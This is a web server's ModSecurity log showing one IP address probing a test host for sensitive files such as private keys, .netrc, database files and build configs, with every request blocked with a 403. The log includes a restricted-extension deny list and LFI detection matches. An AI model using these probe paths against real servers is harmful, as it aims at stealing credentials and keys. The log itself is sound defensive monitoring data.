[Fri Aug 01 20:57:27.275185 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.mdb&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data.mdb&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzHgAAAAM&quot;]
[Fri Aug 01 20:57:27.275521 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data.mdb&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzHgAAAAM&quot;]
[Fri Aug 01 20:57:27.275698 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data.mdb&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzHgAAAAM&quot;]
[Fri Aug 01 20:57:27.295876 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzHwAAAAM&quot;]
[Fri Aug 01 20:57:27.296201 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzHwAAAAM&quot;]
[Fri Aug 01 20:57:27.296374 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzHwAAAAM&quot;]
[Fri Aug 01 20:57:27.316451 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzIAAAAAM&quot;]
[Fri Aug 01 20:57:27.316775 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzIAAAAAM&quot;]
[Fri Aug 01 20:57:27.316958 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzIAAAAAM&quot;]
[Fri Aug 01 20:57:27.358269 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.netrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .netrc found within REQUEST_FILENAME: /.netrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.netrc&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzIgAAAAM&quot;]
[Fri Aug 01 20:57:27.358522 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.netrc&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzIgAAAAM&quot;]
[Fri Aug 01 20:57:27.358687 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.netrc&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzIgAAAAM&quot;]
[Fri Aug 01 20:57:27.612551 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/yarn.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /yarn.lock found within REQUEST_FILENAME: /yarn.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzLgAAAAM&quot;]
[Fri Aug 01 20:57:27.612735 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzLgAAAAM&quot;]
[Fri Aug 01 20:57:27.612887 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzLgAAAAM&quot;]
[Fri Aug 01 20:57:27.632839 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/package-lock.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package-lock.json found within REQUEST_FILENAME: /package-lock.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-lock.json&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzLwAAAAM&quot;]
[Fri Aug 01 20:57:27.633016 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-lock.json&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzLwAAAAM&quot;]
[Fri Aug 01 20:57:27.633169 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-lock.json&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzLwAAAAM&quot;]
[Fri Aug 01 20:57:27.653109 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/composer.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzMAAAAAM&quot;]
[Fri Aug 01 20:57:27.653291 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzMAAAAAM&quot;]
[Fri Aug 01 20:57:27.653436 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzMAAAAAM&quot;]
[Fri Aug 01 20:57:27.736567 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/webpack.config.js&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /webpack.config.js found within REQUEST_FILENAME: /webpack.config.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzNAAAAAM&quot;]
[Fri Aug 01 20:57:27.736772 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzNAAAAAM&quot;]
[Fri Aug 01 20:57:27.736963 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzNAAAAAM&quot;]
[Fri Aug 01 20:57:27.819899 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.eslintrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .eslintrc found within REQUEST_FILENAME: /.eslintrc.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.eslintrc.js&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzOAAAAAM&quot;]
[Fri Aug 01 20:57:27.820075 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.eslintrc.js&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzOAAAAAM&quot;]
[Fri Aug 01 20:57:27.820220 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.eslintrc.js&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzOAAAAAM&quot;]
[Fri Aug 01 20:57:27.840397 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.eslintrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .eslintrc found within REQUEST_FILENAME: /.eslintrc.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.eslintrc.json&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzOQAAAAM&quot;]
[Fri Aug 01 20:57:27.840573 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.eslintrc.json&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzOQAAAAM&quot;]
[Fri Aug 01 20:57:27.840718 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.eslintrc.json&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzOQAAAAM&quot;]
[Fri Aug 01 20:57:28.026629 2025] [:error] [pid 1621759] [client 185.177.72.16:45466] [client 185.177.72.16] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.user.ini&quot;] [unique_id &quot;aI0OGNXkfgsW0I3lNwh1agAAAAA&quot;]
